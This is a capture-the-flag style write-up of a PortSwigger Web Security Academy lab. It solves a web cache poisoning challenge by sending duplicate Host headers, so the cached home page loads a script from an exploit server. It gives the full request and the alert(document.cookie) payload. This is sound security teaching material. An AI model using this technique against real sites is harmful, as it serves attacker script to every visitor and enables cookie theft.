Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Web Cache Poisoning — Ambiguous Requests, Dual Host Header
Difficulty Practitioner
Objective Poison the cached home page so it executes alert(document.cookie) in the victim's browser

Web Cache Poisoning via Ambiguous Requests

Intercepting a request to / showed Cache-Control: max-age=30 — responses cached for 30 seconds.

Screenshot

Adding a query parameter created a separate cache entry — the query string is part of the cache key.

Screenshot

The home page response loaded an external script:

<script type="text/javascript" src="//0a80007e03da530e807dbc2c00f100cd.h1-web-security-academy.net/resources/js/tracking.js"></script>
Screenshot

The domain in the script src is reflected from somewhere in the request — a host-based URL reflection is a high-value poisoning target. Controlling that domain means controlling what script the victim's browser loads.

Replacing the Host header outright with our exploit server caused a Gateway Timeout — the back-end actually tried to proxy the connection:

Screenshot

That told us the back-end consumes the Host header meaningfully — but a single header replacement broke the routing entirely. The cache and the back-end don't always agree on what a request means. Sending two Host headers exploits that ambiguity: the cache uses the first one (the legitimate domain) as the cache key, while the back-end reads the second one to build the script URL:

GET / HTTP/1.1
Host: 0a80007e03da530e807dbc2c00f100cd.h1-web-security-academy.net
Host: exploit-0a4d009f03e753a28053bbcb0107006b.exploit-server.net

The response reflected the exploit server in the script tag:

<script type="text/javascript" src="//exploit-0a4d009f03e753a28053bbcb0107006b.exploit-server.net/resources/js/tracking.js"></script>

I set up the exploit server to serve the payload at the expected path:

File: /resources/js/tracking.js
Body: alert(document.cookie);
Screenshot
Screenshot

Fired the ambiguous request to get the poisoned response cached, then loaded the home page in the browser to confirm — the alert fired immediately.

Screenshot

And now the lab is solved

Resources